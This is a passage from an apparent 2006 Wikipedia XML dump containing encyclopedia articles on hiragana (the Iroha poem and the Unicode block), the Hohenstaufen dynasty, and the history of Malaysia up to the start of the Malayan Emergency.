The poem ''[[Iroha]]-uta'' (&quot;Song/poem of colours&quot;), which dates to the 10th century, uses every hiragana (except ''n'' ん) once. In the chart below, the romanization shows the hiragana; the reading in modern Japanese is in parentheses.

{| border=&quot;0&quot; cellspacing=&quot;0px&quot; cellpadding=&quot;0px&quot; width=&quot;100%&quot;
|-
|いろはにほへと
|I ro ha ni ho he to　(Iro wa nioedo)
|Even if colours have sweet perfume
|-
|ちりぬるを
|chi ri nu ru wo (chirinuru wo)
|eventually they fade away
|-
|わかよたれそ
|wa ka yo ta re so (waga yo tare zo)
|What in this world
|-
|つねならむ
|tsu ne na ra mu (tsune naran)
|is eternal?
|-
|うゐのおくやま
|u wi no o ku ya ma (ui no okuyama)
|The deep mountains of vanity
|-
|けふこえて
|ke fu ko e te (kyō koete)
|I cross them today
|-
|あさきゆめみし
|a sa ki yu me mi shi (asaki yume mishi)
|renouncing superficial dreams
|-
|ゑひもせす
|we hi mo se su (yoi mo sezu)
|not giving in to their madness any more
|}

== Hiragana in Unicode ==
In [[Unicode]], Hiragana occupies code points U+3040 to U+309F:
{{Unicode chart Hiragana}}

The Unicode hiragana block contains precomposed characters for all hiragana in the modern set, including small vowels and yōon kana for compound syllables, plus the archaic ''wi'' and ''we'' and the rare ''vu''. All combinations of hiragana with ''dakuten'' and ''handakuten'' used in modern Japanese are available as precomposed characters, and can also be produced by using a base hiragana followed by the combining dakuten and handakuten characters (U+3099 and U+309A, respectively). This method is used to add the diacritics to kana that are not normally used with them, for example applying the dakuten to a pure vowel or the handakuten to a kana not in the h-group.

Characters U+3095 and U+3096 are small か (''ka'') and small け (''ke''), respectively. U+309F is a digraph of より (''yori'') occasionally used in vertical text. U+309B and U+309C are spacing (non-combining) equivalents to the combining dakuten and handakuten characters, respectively.

There are no characters at code points U+3040, U+3097, or U+3098.

==See also==

*[[Katakana]]
*[[Manyogana]]
*[[Shodo]], Japanese calligraphy.
*[[Iteration mark]] explains the iteration marks used with hiragana.
*[[Japanese typographic symbols]] gives other non-kana, non-kanji symbols.
*[[Japanese phonology]] explains Japanese pronunciation in detail.
*[[Nü Shu]], a syllabary writing system used by women in China's [[Hunan]] province

==References==

*&quot;The Art of Japanese Calligraphy&quot;, Yujiro Nakata, ISBN 0834810131, gives details of the development of ''onode'' and ''onnade''.
*''The Hiragana Song'', a useful way to learn hiragana via mp3 file available at http://www.ourmedia.org/node/33361
*http://hiraganasong.blogspot.com

== External links ==
&lt;!--Links for learning hiragana should go on the page &quot;List of Japanese learning resources&quot;.--&gt;
{{commons|Hiragana}}
{{wiktionarypar|hiragana}}
* [http://www.unicode.org/charts/PDF/U3040.pdf Hiragana code chart at Unicode.org]
* [http://www.realkana.com Practice hiragana using different typefaces]

[[Category:Japanese terms]] 
[[Category:Kana]]

[[br:Hiragana]]
[[ca:Hiragana]]
[[cs:Hiragana]]
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[[ko:히라가나]]
[[id:Hiragana]]
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[[he:היראגאנה]]
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[[ja:平仮名]]
[[pl:Hiragana]]
[[pt:Hiragana]]
[[ro:Hiragana]]
[[ru:Хирагана]]
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[[sl:Hiragana]]
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[[th:ฮิระงะนะ]]
[[zh:平假名]]</text>
    </revision>
  </page>
  <page>
    <title>Hohenstaufen</title>
    <id>13805</id>
    <revision>
      <id>39608267</id>
      <timestamp>2006-02-14T17:06:07Z</timestamp>
      <contributor>
        <ip>70.58.184.247</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Hohenstaufen.png|thumb|right|Arms of the Hohenstaufen]]
The '''Hohenstaufen''' were a dynasty of [[List of German Kings and Emperors|Kings of Germany]], many of whom were also crowned [[Holy Roman Emperor]] and [[Duke of Swabia|Dukes of Swabia]]. In 1194 the Hohenstaufen became also [[List of monarchs of Naples and Sicily|Kings of Sicily]]. The proper name, taken from their castle in [[Swabia]], is '''Staufen'''. Therefore the dynasty is sometimes also called '''Swabian dynasty''' after the family's origin.

When the last male member of the [[Salian]] dynasty, [[Henry V, Holy Roman Emperor]], died without an heir there was controversy about the succession.  Frederick and Conrad, the two current male Staufens, were grandsons of [[Henry IV, Holy Roman Emperor]] and nephews of Henry V.  After the death of the intervening king and emperor [[Lothair II, Holy Roman Emperor|Lothair II]], in 1137, Conrad became [[Conrad III]] of Germany.

===Members of the Hohenstaufen family===

====Holy Roman Emperors and Kings of Germany====

*[[Conrad III]], king 1138-1152
*[[Frederick Barbarossa|Frederick I Barbarossa]], king 1152-1190, Emperor after 1155
*[[Henry VI of Germany|Henry VI]], king 1190-1197, Emperor after 1191
[[image:Hohenstaufen-1905.jpg|frame|Hohenstaufen in 1905]]
*[[Philip of Swabia]], king 1198-1208
*[[Frederick II, Holy Roman Emperor|Frederick II]], king 1208-1250, Emperor after 1220
*[[Henry (VII) of Germany|Henry (VII)]], king 1220 - 1235 (under his father Frederick II)
*[[Conrad IV]], king 1237-1254 (until 1250 under his father Frederick II)

Like the first ruling Hohenstaufen, Conrad III, also the last one, Conrad IV, was never crowned emperor. After a 20 year period the first [[Habsburg]] was elected king.

====Kings of Sicily====
''Note: Some of the following kings are already listed above as German Kings''
*[[Henry VI, Holy Roman Emperor|Henry VI]] [[1194]]-[[1197]]
*[[Frederick II, Holy Roman Emperor|Frederick]] [[1198]]-[[1250]]
**[[Henry (VII) of Germany|Henry (VII)]] [[1212]]–[[1217]] (nominal king under his father)
*[[Conrad IV of Germany|Conrad]] [[1250]]-[[1254]]
*([[Conradin]] [[1254]]-[[1258]]/[[1268]])
*[[Manfred of Sicily|Manfred]] [[1258]]-[[1266]]

====Dukes of Swabia====
''Note: Some of the following dukes are already listed above as German Kings''
* [[Frederick I, Duke of Swabia]] (''Friedrich'') (r. 1079 - [[1105]])
* [[Frederick II, Duke of Swabia]] (r. 1105 - [[1147]])
* [[Frederick Barbarossa|Frederick I, Holy Roman Emperor]] (Frederick III of Swabia)(r. 1147 - [[1152]]) ''King in [[1152]] and [[Holy Roman Emperor]] in [[1155]]''
* [[Frederick IV, Duke of Swabia]] (r. 1152 - [[1167]])
* [[Frederick V, Duke of Swabia]] (r. 1167 - [[1170]])
* [[Frederick VI, Duke of Swabia]] (r. 1170 - [[1191]])
* [[Conrad II, Duke of Swabia]] (r. 1191 - [[1196]])
* [[Philip of Swabia]] (r. 1196 - [[1208]]) ''King in [[1198]]''
* [[Frederick II, Holy Roman Emperor]] (r. 1212 - [[1216]]) ''King in [[1212]] and [[Holy Roman Emperor]] in [[1220]]'' 
* [[Henry (VII) of Germany]] (r. 1216 - [[1235]]), ''King 1220 - 1235'' 
* [[Conrad IV]] (r. 1235 - [[1254]]) ''King in [[1237]]''
* [[Conradin|Conrad V (Conradin)]] (r. 1254 - [[1268]])


'''Hohenstaufen Family Tree'''

[[Image:Staufen_dynasty.JPG|450px]]


''See also: [[Dukes of Swabia family tree]]''

==See also==
* [[List of monarchs of Naples and Sicily]].  Hohenstaufen kings ruled in [[Sicily]] from [[1194]] till [[Manfred of Sicily]] was killed in the [[Battle of Benevento]] in [[1266]].

*During the [[Third Reich]], the Waffen-SS named an [[9th SS Panzer Division Hohenstaufen|SS Panzer division ''Hohenstaufen'']] in honour of this family.

[[Category:Royal families|Hohenstaufen]]
[[Category:German nobility]]
[[Category:Italian nobility]]
[[Category:Hohenstaufen Dynasty|*]]
[[Category:History of Germany]]
[[Category:German Kings]]
[[Category:History of Italy]]
[[Category:Holy Roman Empire]]

[[ar:هوهنشتاوفن]]
[[de:Staufer]]
[[es:Hohenstaufen]]
[[fr:Hohenstaufen]]
[[it:Hohenstaufen]]
[[nl:Hohenstaufen]]
[[ja:ホーエンシュタウフェン朝]]
[[pl:Hohenstaufowie]]
[[pt:Hohenstaufen]]
[[scn:Hohenstaufen]]
[[sv:Hohenstaufen]]
[[zh:霍亨斯陶芬王朝]]</text>
    </revision>
  </page>
  <page>
    <title>History of Malaysia</title>
    <id>13806</id>
    <revision>
      <id>39753364</id>
      <timestamp>2006-02-15T17:11:53Z</timestamp>
      <contributor>
        <username>Earth</username>
        <id>5128</id>
      </contributor>
      <comment>/* Melaka and Islamic Malaya */ +img</comment>
      <text xml:space="preserve">{{History of Malaysia}}

The '''history of Malaysia''' is a relatively recent offshoot of the history of the wider Malay-Indonesian world. Culturally and linguistically, there was until recent times little to distinguish the territories which now constitute Malaysia from the lands of the [[Malay Archipelago]]. Today the Malay world is divided into six states - Malaysia, [[Indonesia]], the [[Philippines]], [[Singapore]], [[Brunei]] and [[East Timor]] &amp;#8211; largely as the result of outside influences.

Malaysia&amp;#8217;s geographical position places it between the great civilisations. To the west are [[Hinduism|Hindu]] [[India]], the [[Islam|Islamic]] [[Middle East]] and [[Christianity|Christian]] [[Europe]]. To the north-east are [[China]] and [[Japan]]. The shipping routes from China to the west pass through the region, and the most direct route passes through the [[Strait of Malacca]]. This has made Malaysia a natural meeting place of trade routes and cultures, something which has brought the area great wealth, but has also made it difficult for the Malay peoples to resist foreign influence and domination.

==Overview==

The history of the Malaysian area can be seen as four successive phases of outside influence, followed by the final assertion of Malay independence.

*The first phase saw the domination of [[Hindu]] culture imported from [[India]], which reached its peak in the great [[Srivijaya]] civilisation based in [[Sumatra]], which ruled most of the Malay world from the 7th to the 14th centuries.
*The second phase began with the arrival of [[Islam]], which began in the 10th century, and led to the conversion of most of the Malay-Indonesian world and the breakup of the Srivijayan empire into many smaller sultanates, the most prominent of which was the [[Sultanate of Malacca|Melaka]] (Malacca). Islamic culture has had a profound influence on the Malay peoples, but has also been influenced by them.
*The third phase was the intrusion into the area of the European colonial powers: first the [[Portugal|Portuguese]], who captured Melaka in [[1511]], then the [[Netherlands|Dutch]] and finally the [[United Kingdom|British]], who established bases at [[Penang]] and [[Singapore]]. European domination led to the most fateful event in Malay history &amp;#8211; the Anglo-Dutch treaty of [[1824]], which drew a frontier between British Malaya and the [[Netherlands East Indies]], which became Indonesia. This arbitrary division of the Malay world has proved permanent.
*European domination also led to the fourth phase of foreign influence: the mass immigration of Chinese and Indian workers to meet the needs of the colonial economy created by the British in the Malay Peninsula and North Borneo. The Chinese and Indians posed a profound threat to the Malays, dominating economic life and the professions, and at one time threatening to make the Malays a minority in their own country.

British power in East Asia was fatally wounded by the Japanese occupation of the region in [[1942]]-[[1945|45]]. Although short-lived, the Japanese occupation unleashed the forces of colonial nationalism in Malaya as elsewhere. But Malay nationalism triggered a reaction from the Chinese, who feared Malay and Islamic domination and turned in large numbers to the [[Malayan Communist Party]]. It took a tough military response from the British, and concessions by both the Malay and Chinese political leaderships, to end the Communist insurgency and bring about the establishment of an independent, multi-racial [[Federation of Malaya]] in [[1957]].

In [[1963]] Malaya became Malaysia with the acquisition of the British territories in North Borneo and Singapore. The Chinese-majority [[Singapore]] and the Federation decided to part ways in [[1965]]. Malaysia survived this crisis as well as [[Indonesia-Malaysia confrontation|confrontation with Indonesia]], but nearly succumbed to its own internal tensions in the race riots of [[1969]]. This crisis led to the imposition of emergency rule and a curtailment of political life and civil liberties which has never been reversed. Since 1970 the [[United Malays National Organisation]] (UMNO) has ruled Malaysia almost as a one-party state, co-opting the Chinese and Indian leaderships through the device of the &amp;#8220;[[National Front (Malaysia)|National Front]] coalition.&amp;#8221;

Malaysia under UMNO rule has prospered mightily, reaching close to &amp;#8220;[[first world]]&amp;#8221; living standards by the 1990s. This growing prosperity has helped minimise political discontent, but has masked a decisive shift of power in favour of the Malays. Successive UMNO governments have been determined to break the Chinese domination of the economy and the Indian domination of the professions, and to create Malay business and professional classes. This has been achieved by imposing the [[Malay language]] on the education system and through systematic discrimination in favour of Malays. These measures caused great resentment, but the results have been the creation of a more genuinely integrated and multi-cultural society.

==Malaya under Indian influence==

The history, as opposed to the pre-history, of the Malay-speaking world begins with the advent of Indian influence, which dates back to at least the 3rd century BC. Indian traders came to the archipelago both for its extremely abundant forest and maritime products and to trade with merchants from China, who also discovered the Malay world at an early date. Both Hinduism and [[Buddhism]] were well established in the Malay Peninsula by the beginning of the 1st century AD, and from there spread across the archipelago. Chinese chronicles of the 5th century AD speak of a great port in the south called Guantoli, which was probably in the [[Strait of Malacca]]. In the 7th century, a new port called Shilifoshi is mentioned, and this is believed to be a Chinese rendering of [[Srivijaya]].

The site of Srivijaya has never been found, but it was probably at the mouth of one of the rivers in eastern Sumatra, possibly near [[Palembang]]. For 700 years the [[maharajah|Maharajahs]] of Srivijaya ruled a loose-knit maritime empire that controlled the coasts of Sumatra, Peninsular Malaya, and Borneo. Sometimes they also ruled parts of [[Java (island)|Java]],but there were always rival Javanese states which resisted Srivijaya&amp;#8217;s hegemony. Srivijaya lived by trade, welcoming annual trading fleets from China and India, and also traders from further afield, including Japanese, Iranians and Arabs. Its greatest enemies were the [[Siam|Siamese]], who were always trying to encroach from the north. To secure a powerful ally against these enemies, the maharajahs paid tribute to the Chinese Emperors, but they were never under Chinese control.

From the 10th century the power of Srivijaya began to decline. Never a centralised state, it was apparently weakened by a series of wars with the Javanese, which disrupted trade. In the 11th century a rival power centre arose at Melayu, a port believed to have been located further up the Sumatran coast, possibly in what is now [[Jambi]] province. Melayu&amp;#8217;s influence is shown by the fact that the name is the origin of the word &amp;#8220;Malay.&amp;#8221; The power of the Hindu Maharajahs was also undermined by the spread of Islam. Areas which were converted to Islam early, such as [[Aceh]], broke away from Srivijaya&amp;#8217;s control. By the late 13th century also, the Siamese kings of [[Sukhothai kingdom|Sukhothai]] had brought most of Malaya under their rule. But the great wealth of the Srivijayan sphere, with its rich resources of aromatic timber, sea products, gold, tin, spices, wax and resins &amp;#8211; all highly prized both in China and in the west &amp;#8211; kept Srivijaya prosperous until it faded away in the 14th century.

==Melaka and Islamic Malaya==

[[Image:KlMuseumBatuBersurat.jpg|thumb|300px|The earliest record of a local law influenced by Islamic teaching and written in [[Jawi]]. It is found in [[Terengganu]].]]

The port of [[Melaka]] (traditionally spelled Malacca) on the west coast of the [[Malay Peninsula]] was founded around [[1400]] by [[Parameswara]], a rebel prince of the Srivijaya royal line, claimed in [[Sejarah Melayu]] to be a descendant of [[Alexander the Great]]. It rapidly assumed the place previously held by Srivijaya, establishing independent relations with China, and exploiting its position dominating the Straits to control the China-India maritime trade, which became increasingly important when the [[Mongol]] conquests closed the overland route between China and the west. Within a few years of its establishment, Melaka officially adopted Islam, and the Raja became a Sultan. 

The political power of the [[Sultanate of Malacca|Malaccan Sultanate]] helped Islam&amp;#8217;s rapid spread through the Malay world, reaching as far as the [[Philippines]] and leaving [[Bali]] as an isolated outpost of Hinduism. Islam came to the [[Malay Archipelago]] via India, and was rather different to the Islam practised in its Middle Eastern homeland. It was greatly influenced by the mystical traditions of [[Sufism]], and also absorbed some elements of Malay&amp;#8217;s animist and Hindu traditions. Because Islam was introduced by traders and not by military conquest, there was no imposition of the [[Arabic language]] or Arab political customs. Since most Malays could not read the [[Qur'an]], the local version of Islam was much less rigorous than in the Arabic world. And since the indigenous Malay rulers retained their power, the Islamic clergy did not gain the political influence it enjoyed in other parts of the Islamic world.

Melaka&amp;#8217;s reign lasted little more than a century, but it was of great importance, because it came to be seen as the golden age of Malay self-rule, and the Sultans of Melaka became the models for all subsequent Malay rulers. Melaka became a great cultural centre, creating the matrix of the modern Malay culture: a blend of indigenous Malay and imported Indian and Islamic elements. Melaka&amp;#8217;s fashions in literature, art, music, dance and dress, and the ornate titles of its royal court, came to be seen as the standard for all Malays. The court of Melaka also gave great prestige to the [[Malay language]], which had originally evolved in Sumatra and been brought to Melaka at the time of its foundation. In time Malay came to be the official language of all the Malay states, although local languages survived in many places.

==European domination==

The closing of the overland route from Asia to Europe by the [[Ottoman Empire]] and the claim towards trade monopoly with [[India]] and south-east Asia by Arab traders led the European powers to look for a maritime route. In [[1498]] [[Vasco da Gama]], sent by King [[John II of Portugal|John II]] of [[Portugal]], found the way around the [[Cape of Good Hope]] to India, and in [[1511]] [[Afonso de Albuquerque]] led an expedition to Malaya which seized Melaka after a month-long siege and made it the capital of Portugal&amp;#8217;s eastern empire. This was a bitter lesson to the Malay world about the greed and ruthlessness of the Europeans, and also about their technological superiority. 

The son of the last Sultan of Melaka fled to the island of [[Bintan]] off the southern tip of Malaya, where he founded a new state which eventually became the [[Sultanate of Johor]]e. Freed from Melaka&amp;#8217;s domination, the Malay world broke up into a series of quarrelsome [[successor state]]s, of which the most important were [[Aceh]], [[Brunei]], [[Johore]] and [[Perak]]. Other states such as [[Banten]], [[Yogyakarta]], [[Kedah]], [[Selangor]], [[Sulu]] and [[Terengganu]] also emerged as independent sultanates. By the late 16th century the tin mines of northern Malaya had been discovered by European traders, and Perak grew wealthy on the proceeds of tin exports. But the European colonial powers were bent on expanding further into the region. The Portuguese gained control of the spice-rich [[Maluku|Moluccas]] (Maluku), and in [[1571]] the [[Spain|Spanish]] captured [[Manila]].

The Dutch arrived in the region in [[1596]]. They hated the Portuguese both for religious reasons and as commercial rivals, and were determined to evict them from the wealthy islands they called the [[East Indies]]. Led by the [[Dutch East India Company]] (VOC), they soon overcame the weak sultanates in Java and founded [[Jakarta|Batavia]] (Jakarta) as their capital in [[1619]]. From there they expanded across the archipelago, forming an alliance with Johore against their main enemies, the Portuguese at Melaka and the powerful Sultan of Aceh. In [[1641]], after several attempts, the VOC-Johore alliance captured Melaka, breaking Portuguese power in Malaya for good &amp;#8211; Portugal was left with only [[Portuguese Timor]]. Backed by the Dutch, Johore established a loose hegemony over the Malay states, except Perak, which was able to play off Johore against the Siamese to the north and retain its independence.

The weakness of the Malay states in this period allowed other people to migrate into the Malay homelands. The most important of these were the [[Bugis]], seafarers from eastern Indonesia, who regularly raided the Malay coasts and finally seized control of Johore following the assassination of the last Sultan of the old Melaka royal line in [[1699]]. Other Bugis raiders took control of [[Selangor]]. The [[Minangkabau]] peoples from Sumatra also migrated into Malaya, and eventually established their own state in [[Negeri Sembilan]]. The fall of Johore left a power vacuum on the Malay Peninsula which was partly filled by the Siamese kings of [[Ayutthaya kingdom]], who made the five northern Malay states &amp;#8211; [[Kedah]], [[Kelantan]], [[Patani]], [[Perlis]] and [[Terengganu]] &amp;#8211; their vassals. Johore&amp;#8217;s eclipse also left Perak as the unrivalled leader of the Malay states.

The economic importance of Malaya to Europe grew rapidly during the 18th century. The fast-growing [[tea]] trade between China and [[United Kingdom|Britain]] increased the demand for high-quality Malayan tin, which was used to line tea-chests. Malayan pepper also had a high reputation in Europe, while Kelantan and [[Pahang]] had gold mines. The growth of tin and gold mining and associated service industries led to the first influx of foreign settlers into the Malay world &amp;#8211; at first Arabs and Indians, later Chinese &amp;#8211; who colonised the towns and soon dominated economic activities. This established a pattern which characterised Malayan society for the next 200 years &amp;#8211; a rural Malay population increasingly under the domination of wealthy urban immigrant communities, whose power the Sultans were unable to resist.

English traders had been present in Malay waters since the 17th century, but it was not until the mid 18th century that the [[British East India Company]], based in British India, developed a serious interest in Malayan affairs. The growth of the China trade in British ships increased the Company&amp;#8217;s desire for bases in the region. Various islands were used for this purpose, but the first permanent acquisition was [[Penang]], leased from the Sultan of Kedah in [[1786]]. This was followed soon after by the leasing of a block of territory on the mainland opposite Penang (known as [[Province Wellesley]]). In [[1795]], during the [[Napoleonic Wars]], the British occupied Dutch Melaka to forestall possible [[France|French]] interest in the area. When Melaka was handed back to the Dutch in [[1815]], the British governor, [[Stamford Raffles]], looked for an alternative base, and in [[1819]] he acquired [[Singapore]] from the Sultan of Johore. The twin bases of Penang and Singapore, together with the decline of the Netherlands as a naval power, made Britain the dominant force in Malayan affairs. British influence was increased by Malayan fears of Siamese expansionism, to which Britain made a useful counterweight. During the 19th century the Malay Sultans became loyal allies of the British Empire.

==British Malaya==
{{main|British Malaya}}

In [[1824]] British hegemony in Malaya was formalised by the Anglo-Dutch Treaty, the decisive event in the formation of modern Malaysia. The Dutch evacuated Melaka and renounced all interest in Malaya, while the British recognised Dutch rule over the rest of the East Indies. This imposed an arbitrary frontier on the Malay world, one which has never been overcome. Penang, Melaka and Singapore were united as the [[Straits Settlements]], ruled by a British Governor in Singapore. During the 19th century, the British concluded treaties with the Malay states, installing &amp;#8220;residents&amp;#8221; who advised the Sultans and soon came the effective rulers of their states. The wealth of Perak&amp;#8217;s tin mines made political stability there a priority for British investors, and Perak was thus the first Malay state to agree to the supervision of a British resident. Johore alone resisted, holding out until [[1914]]. In [[1909]] the weakened Siamese kingdom was compelled to cede [[Kedah]], [[Kelantan]], [[Perlis]] and [[Terengganu]] to the British. (Siam retained the Sultanate of [[Patani]], leaving a Muslim minority in southern [[Thailand]] which has been a source of much trouble for successive Thai governments.)

During the late 19th century the British also gained control of the north coast of [[Borneo]], where Dutch rule had never been established. The eastern part of this region (now [[Sabah]]) was under the nominal control of the Sultan of [[Sulu]], a vassal of the Spanish Philippines. The rest was the territory of the Sultanate of [[Brunei]]. In [[1841]], a British adventurer, [[James Brooke]], leased [[Kuching]] from the Sultan and made himself the &amp;#8220;White Rajah&amp;#8221; of [[Sarawak]], steadily expanding his territory at Brunei&amp;#8217;s expense. North-eastern Borneo was colonised by British traders, and in [[1881]] the [[British North Borneo Company]] was granted control of the territory under the distant supervision of the governor in Singapore. The Spanish Philippines never recognised this loss of the Sultan of Sulu&amp;#8217;s territory, laying the basis of the subsequent Filipino claim to Sabah. In [[1888]] what was left of Brunei was made a British protectorate, and in [[1891]] another Anglo-Dutch treaty formalised the border between British and Dutch Borneo. Thus the borders of modern Malaysia were formed, in complete disregard of ethnic and linguistic factors, by the colonial powers.

By [[1910]] the pattern of British rule in the Malay lands was established. The Straits Settlements were a [[Crown Colony]], ruled by a governor under the supervision of the [[Colonial Office]] in [[London]]. Their population was about half Chinese, but all residents, regardless of race, were British subjects. The first four states to accept British residents, Perak, Selangor, Negeri Sembilan and Pahang, were termed the [[Federated Malay States]]: while technically independent, they were placed under a Resident-General in [[1895]], making them British colonies in all but name. The Unfederated Malay States (Johore, Kedah, Kelantan, Perlis and Terangganu) had a slightly larger degree of independence, although they were unable to resist the wishes of their British Residents for long. Johore, as Britain&amp;#8217;s closest ally in Malay affairs, had the privilege of a written constitution, which gave the Sultan the right to appoint his own Cabinet, but he was generally careful to consult the British first.

==Multi-racial Malaya==

Unlike some colonial powers, the British always saw their empire as primarily an economic concern, and its colonies were expected to turn a profit for British shareholders. Malaya&amp;#8217;s obvious attractions were its tin and gold mines, but British planters soon began to experiment with tropical plantation crops &amp;#8211; [[tapioca]], [[uncaria|gambier]], pepper and coffee. But in [[1877]] the [[rubber]] plant was introduced from [[Brazil]], and rubber soon became Malaya&amp;#8217;s staple export, stimulated by booming demand from European industry. Rubber was later joined by [[palm oil]] as an export earner. All these industries required a large and disciplined labour force, and the British did not regard the Malays as reliable workers. The solution was the importation of plantation workers from India, mainly [[Tamil language|Tamil]]-speakers from South India. The mines, mills and docks also attracted a flood of immigrant workers from southern China. Soon towns like Singapore, Penang and [[Ipoh]] were majority Chinese, as was [[Kuala Lumpur]], founded as a tin-mining centre in [[1857]]. By [[1891]], when Malaya&amp;#8217;s first [[census]] was taken, Perak and Selangor, the main tin-mining states, had Chinese majorities. 

The Chinese mostly arrived poor, but their industrious habits and tight-knit networks of mutual aid (run by secret societies or [[Triads]]) soon made many of them rich. In the 1890s [[Yap Ah Loy]], who held the title of Kapitan China of Kuala Lumpur, was the richest man in Malaya, owning a chain of mines, plantations and shops. Malaya&amp;#8217;s banking and insurance industries were run by the Chinese from the start, and Chinese businesses, usually in partnership with London firms, soon had a stranglehold on the economy. Since the Malay Sultans tended to spend well beyond their incomes, they were soon in debt to Chinese bankers, and this gave the Chinese political as well as economic power. At first the Chinese immigrants were nearly all men, and most intended to return home when they had made their fortunes. Many did go home, but many more stayed. At first they married Malay women, producing a community of Sino-Malayans or [[Peranakan|baba]] people, but soon they began importing Chinese brides, establishing permanent communities and building schools and temples.

The Indians were initially less successful, since unlike the Chinese they came mainly as indentured labourers to work in the rubber plantations, and had few of the economic opportunities that the Chinese had. They were also a less united community, since they were divided between Hindus and Muslims and along lines of language and [[caste]]. An Indian commercial and professional class emerged during the early 20th century, but the majority of Indians remained poor and uneducated in rural ghettos in the rubber-growing areas. 

Traditional Malay society had great difficulty coping with both the loss of political sovereignty to the British and of economic sovereignty to the Chinese. By the early 20th century it seemed possible that the Malays would become a minority in their own country. The Sultans, who were seen as collaborators with both the British and the Chinese, lost some of their traditional prestige, particularly among the increasing number of Malays with a western education, but the mass of rural Malays continued to revere the Sultans and their prestige was thus an important prop for colonial rule. A small class of Malay nationalist intellectuals began to emerge during the early 20th century, and there was also a revival of Islam in response to the perceived threat of other imported religions, particularly [[Christianity]]. In fact few Malays converted to Christianity, although many Chinese did. The northern regions, which were less influenced by western ideas, became strongholds of Islamic conservatism, as they have remained. 

The one consolation to Malay pride was that the British allowed them a virtual monopoly of positions in the police and local military units, as well as a majority of those administrative positions open to non-Europeans. While the Chinese mostly built and paid for their own schools and colleges, importing teachers from China, the colonial government fostered education for Malays, opening [[Malay College Kuala Kangsar|Malay College]] in [[1905]] and creating the Malay Administrative Service in [[1910]]. (The college was dubbed &amp;#8220;Bab ud-Darajat&amp;#8221; &amp;#8211; the Gateway to High Rank.) A Malay Teachers College followed in [[1922]], and a Malay Women&amp;#8217;s Training College in [[1935]]. All this reflected the official British policy that Malaya belonged to the Malays, and that the other races were but temporary residents. This view was increasingly out of line with reality, and contained the seeds of much future trouble.

In the years before [[World War II]], the British neglected constitutional development in Malaya. Following their usual policy of indirect rule, they were concerned to prop up the authority of the Sultans and to discourage any talk of Malaya as a united or self-governing country. There were no moves to give Malaya a unitary government, and in fact in [[1935]] the position of Resident-General of the Federated States was abolished, and its powers decentralised to the individual states. With their usual tendency to racial stereotyping, the British regarded the Malays as amiable but unsophisticated and rather lazy, incapable of self-government, although making good soldiers under British officers. They regarded the Chinese as clever but dangerous &amp;#8211; and indeed during the 1920s and &amp;#8216;30s, reflecting events in China, the Chinese Nationalist Party (the [[Kuomintang]]) and the [[Chinese Communist Party]] built rival clandestine organisations in Malaya, leading to regular disturbances in the Chinese towns. The British saw no way that Malaya&amp;#8217;s disparate collection of states and races could become a nation, let alone an independent one.

==War and Emergency ==
[[Image:Tugu_negara.jpg|thumb|400px|right|''[[Tugu Negara]]'', the Malaysian national monument is dedicated to those that fell during World War II and the Malayan Emergency]]
The outbreak of war in the Pacific in December [[1941]] found the British in Malaya completely unprepared. During the 1930s, anticipating the rising threat of Japanese naval power, they had built a great naval base at Singapore, but never anticipated an invasion of Malaya from the north. Because of the demands of the war in Europe, there was virtually no British air capacity in the Far East. The Japanese were thus able to attack from their bases in [[French Indo-China]] with impunity, and despite stubborn resistance from British, [[Australia|Australian]] and Indian forces, they overran Malaya in two months. Singapore, with no landward defences, no air cover and no water supply, was forced to surrender on [[February 15]], [[1942]], doing irreparable damage to British prestige. British North Borneo and Brunei were also occupied.

The Japanese had a racial policy just as the British did. They regarded the Malays as a colonial people liberated from British imperialist rule, and fostered a limited form of Malay nationalism, which gained them some degree of collaboration from the Malay civil service and intellectuals. (Most of the Sultans also collaborated with the Japanese, although they maintained later that they had done so unwillingly.) The occupiers regarded the Chinese, however, as enemy aliens, and treated them with great harshness: during the so-called ''sook ching'' (purification through suffering), up to 40,000 Chinese in Malaya and Singapore were killed. Chinese businesses were expropriated and Chinese schools closed. Not surprisingly the Chinese, led by the [[Malayan Communist Party]] (MCP), became the backbone of the [[Malayan People&amp;#8217;s Anti-Japanese Army]] (MPAJA), which with British assistance became the most effective resistance force in the occupied Asian countries. But the Japanese also offended Malay nationalism by allowing their ally [[Thailand]] to re-annex the four northern states they had surrendered to Britain in [[1909]]. The loss of Malaya&amp;#8217;s export markets soon produced mass unemployment which affected all races and made the Japanese increasingly unpopular.

The Malayans were thus on the whole glad to see the British back in [[1945]], but things could not be as they were before the war. Britain was bankrupt and the new [[British Labour Party|Labour]] government was keen to withdraw its forces from the East as soon as possible. Colonial self-rule and eventual independence were now British policy. The tide of colonial nationalism sweeping through Asia soon reached Malaya. But most Malays were more concerned with defending themselves against the Chinese than with demanding independence from the British &amp;#8211; indeed their immediate concern was that the British not leave and abandon the Malays to the armed Communists of the MPAJA, which was the largest armed force in the country. During the last year of the war there had been armed clashes between Chinese and Malays and many Malays were killed by the armed Chinese Communists members of the MPAJA and the returning British found a country on the brink of civil war. 

In [[1946]] the British announced plans for a Malayan Union, which would turn the Federated and Unfederated Malay States, plus Penang and Melaka (but not Singapore), into a unitary state, with a view to independence within a few years. There would be a common Malayan citizenship regardless of race. The Malays were horrified at this recognition that the Chinese and Indians were now to be a permanent and equal part of Malaya&amp;#8217;s future, and vowed their opposition to the plan. The Sultans, who had initially supported it, backed down and placed themselves at the head of the resistance. In [[1946]] the [[United Malays National Organisation]] (UMNO) was founded by Malay nationalists led by [[Onn Jaafar|Dato Onn bin Jaafar]], the Chief Minister of Johore. UMNO favoured independence for Malaya, but only if the new state was run exclusively by the Malays. Faced with implacable Malay opposition, the British dropped the plan.

Meanwhile the Communists were moving towards open insurrection. The MPAJA had been disbanded in December [[1945]], and the MCP organised as a legal political party, but the MPAJA&amp;#8217;s arms were carefully stored for future use. The MCP policy was for immediate independence with full equality for all races. This meant it recruited very few Malays. The Party&amp;#8217;s strength was in the Chinese-dominated trade unions, particularly in Singapore, and in the Chinese schools, where the teachers, mostly born in China, saw the [[Communist Party of China]] as the leader of China&amp;#8217;s national revival. In March [[1947]], reflecting the international Communist movement&amp;#8217;s &amp;#8220;turn to left&amp;#8221; as the [[Cold War]] set in, the MCP leader [[Lai Tek]] was purged and replaced by the veteran MPAJA guerilla leader [[Chin Peng]], who turned the party increasingly to direct action. In July, following a string of assassinations of plantation managers, the colonial government struck back, declaring a State of Emergency, banning the MCP and arresting hundreds of its militants. The Party retreated to the jungle and formed the [[Malayan Peoples&amp;#8217; Liberation Army]], with about 3,000 men under arms, almost all Chinese.

